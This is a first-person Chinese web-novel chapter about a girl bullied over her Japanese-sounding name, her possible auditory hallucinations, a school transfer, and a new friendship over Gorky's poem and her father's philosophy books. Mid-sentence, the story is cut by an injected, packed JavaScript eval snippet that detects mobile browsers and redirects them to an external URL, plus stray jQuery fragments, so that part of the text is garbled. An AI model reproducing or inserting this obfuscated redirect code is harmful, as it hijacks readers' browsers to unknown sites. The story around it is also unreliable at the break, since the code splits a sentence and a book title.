我叫秋山燕。
“欸？混血儿吗？”
记忆里，别人总这么说。
“不是哦，我的爸爸妈妈都是中国人。我也是。”
实在这个名字太像日本人了，我不得不给每一个人解释，其实中国一直都有“秋山”这个姓氏。至于“燕”呢，则因为我是女生，我爸认为女生的名要美而不俗，所以用了“燕”这个单字。
如果是男生的话，我应该会被取名叫“秋山鹤”或者“秋山雕”吧，都不好听。所以我庆幸自己是个女生，这样名字还顺口一点。
因为这个名字，小学时那些不喜欢我的同学会管我叫“鬼子”。当他们看我不爽了，就会故意从我身边成群走过，故意用很大的声音说“鬼子怎么样”、“鬼子怎么样”。
“喂，至少背着点我吧？”
“啊？”
“我都听到了。”
“你听到了什么？我们说的是鬼子啊——你是日本鬼子吗？”
如果我表示抗议，他们就会这样说。完全是装傻。
后来我找来老师，这些同学也被请了家长，终于消停了一阵子。也是从这时候，我发现自己的听觉真的太强，他们躲着说的悄悄话居然都能被我听见。
“那个鬼子……她真的好烦，这么点破事还揪着不放，搞得我爹还揍我一顿，烦死了。”
“不然怎么叫鬼子啊？”
“鬼子家不还蛮有背景的，不然妖婆哪里是那个态度。上次那事不是管都不管。”
“那惨啰，以后被鬼子盯上啰。”
“怕啥，爷就是打鬼子的！”
好生气，但是又没办法阻止。
嘴毕竟长在别人身上。就算我让老师再找他们一次，两次，十次……也只会是重复这样的情况，无法终止。
好烦。
我自认是很坚强的那种女生，但一想到那群家伙，还是会忍不住恶心，恨不能当场变成聋子，这样就听不到那些话了。
--
当他们知道了我的特殊能力以后，就像是找到了一件新颖的玩具。
“鬼子来了。”
“鬼子。”
“嘘——鬼子听力好着呢！”
我是初中才知道“校园霸凌”这个概念。其实当时我也并没有被孤立。我有能说得上话的人，他会安慰我，叫我不要管那群人。
“那都是没前途的，你成绩好，怕他们干什么？”
他这样说，仿佛成绩是阿拉丁故事里的神灯，只要拥有，什么愿望就都能实现。
因为他的存在，我的生活其实没有那么苦涩。但他也有别的朋友，不可能时刻都和我在一起。
大部分时候，我都是一个人在座位上，拿着从家里带来的书，假装自己在读，实际上一个字也没看进去。
耳边是那群人的声音。
“鬼子又在看什么啊？”
“不知道……《苏菲的世界》？没看过。”
“鬼子总是假装自己好牛掰的，就会装。”
我再也忍不下去，扭头往窗户的方向瞪了一眼。
平时，他们就是坐在窗边的桌上，你一言我一语地说这些话。
但那天窗边一个人也没有。只有窗帘被风吹了起来，扬起白色的光。
--
那年我还不清楚“幻听”的表现，只是在书上看过，所以完全没有往这方面想。
到了二年级，骚扰仍在持续。我也不知道自己是怎么了，脾气越来越大，原本交好的那个同学也终于受不了我无休止的尖叫，决定与我绝交。
“不好意思，我妈说你负能量太重，不让我和你玩了。”
体育课，我们在看台坐下，中间隔着三四个位置。他突然来了这么一句，瞬间把我给砸懵了。
“可是你不是说，我成绩好……”我试着挽回这段友谊，“不是说成绩好就什么都不用怕吗？”
“对不起。”他又搬出了一个新的论点，“我妈说了，很多人成绩好是一时的。而且你是女生，到三年级数学难了，就不会有这么好了。”
如果这是在拍偶像剧，他说完这些，应该还会再对我笑一下，然后转身离开头也不回。但我们都没有那种想噶，所以只是一言不发，又一起坐着度过了这整节课。
因为是上午四节课，下课铃响，他跟我说了句“再见”，然后直接往食堂奔去。
我不饿。回到班上看着空无一人的教室，突然悲从中来，趴在桌上狠狠哭了一场。
原来我并没有自己以为的那么坚强。
当晚回家，我闹着要求父母给我转学。
“开学了学校不好转啊。”我爸说，“就不能克服一点吗？我帮你跟老师打声招呼，让那群人不要再骚扰你，不好吗？”
“不。”我坚决拒绝，因为才哭过不久，说起话来又要抽鼻子，“就要转学！我绝对不转班！我也不要老师！”
事到如今我真想不起来当时的情形，只记得自己耍了很多手段，承诺了很多事情，这才换来了宝贵的转学机会，从家附近的学校转到了更远的一所重点小学。
转学前，我妈把老师约到了一家餐厅，让我和老师提前见了个面。
“麻烦您了老师，我家孩子脾气有些古怪，但绝对不是什么坏孩子。希望您多看着点。”
说完从包里拿出过年用的红包，放到老师手里。
“哎呀，这不行的啊！”
老师把红包推了回去。
“您放心，我们对每个孩子都很关心，不会忽略她的。”
“您收下吧。”
妈妈笑着，把红包又往前推了一些。
--
最后那红包还是没有回到妈妈手里。
我转学了，一开始心情忐忑，害怕又出现之前那种情况。
离开原来的地方，到一个陌生的地方重新开始，这种想法究竟是好事还是坏事？这个问题至今我仍在寻找答案，但就从那次转学的结果看来，似乎我做了一个绝对正确的选择。
--
新学校的环境很好，教室很大，学生也更少。他们的脾气比我原来那所学校的同学要好上太多，就连我的名字，他们也另作了一番解释。
“你叫秋山燕？好好听哦，像《海燕》一样美呢。”
“《海燕》？”
“你不知道吗？《海
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510637|202979||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
燕之歌》。是一个很厉害的作家高尔基写的。”
“高尔基？”
“你不知道？难道你不看书吗？”
以上是转学第一天里，我和同桌沫沫的对话，也就是后来地铁上和我聊了半天OOO的那位。当年的她还没有看日本影视，兴趣爱好是动漫，对当年日本流行的漫画作者如数家珍，像是高桥留美子啊，天野明啊，CLAMP啊……全是她心头好。
转学的第二天，她把载有《海燕之歌》那本书拿了过来。
“就是这个。”她把书翻开，手指着上面的中文字念道，“在苍茫的大海上，狂风卷集着乌云。在乌云和大海之间，海燕像黑色的闪电，在高傲地飞翔……”
我的家里其实有很多书，但是从来没有这类诗集，而都是一些诸如《苏菲的世界》、《理想国》、《纯粹理性批判》、《存在与时间》……以及类似题材的恐怖作品。
我的父母按照他们所认为合适阅读的年龄，把它们排列出来，要求我每天都看，看完了还要写感想。他们觉得书就是使人明智，所以拒绝了一切文学作品和流行小说。
“反正你在学校也能看到。”我爸这样说。
所以，当沫沫把《海燕之歌》拿给我看时，我第一次发现原来除了课本，那些出版成书的文字也可以简单易读。
“这都是我家里人要我看的。”沫沫说着，把书收了回去，“你家里人不要你看书吗？就算家里人不让，我们也应该多读点书，这样不光是对成绩，对人生说啥也有帮助。”
这说法和我爸一模一样。
“没有，我家里人也叫我看书的。”
“那你怎么不知道高尔基？”沫沫歪着脑袋，亮莹莹的大眼睛里满是好奇，“你平时都看的什么？”
于是我把那本《苏菲的世界》拿了出来。
“看的这个。”我说，“等看完了，我爸爸还要我看一个叫……”
我还不认识罗伯特·所罗门：“叫萝卜头的作者的书，名字是《大问题》。”
“萝卜头？《大问题》？”沫沫拍着手笑，“好奇怪啊，这书是教种菜的吗？”
我摇头：“不，哲学。”
“啊？”
之后好多年里，沫沫都在跟我吐槽我家教育真是荒诞不经。我那做哲学教授的爹一定是走火入魔，居然叫一个八岁小孩读那种东西。
“我当年真是脑子进水才没把你爸妈骂一顿。”高中某天放学回家，提起往日的事，她仍是义愤填膺，“不管不顾，还拿着完全不能理解的书折磨你，豺狼都没这么坏的，这种老登就该狠狠爆金币然后原地蒸发才是啊！”
“还好吧？”我已经完全放下，反过来安慰她说，“也多亏了小时候的基础，我才能如此全面地感受到三蛋的好，就当预售了。”
“我说你真有点斯德哥尔摩吧？你那原神家庭，给你的麻烦绝对比帮助大OK？”沫沫震惊了，“三蛋这玩意儿到底给你下了什么迷药？三年了，我对我最喜欢的作品也不这样啊！”
现在看来，大概是从那之后，沫沫坚定了终有一日要品鉴三蛋的决心。她实在想知道，究竟什么作品能把朋友迷成这幅样子。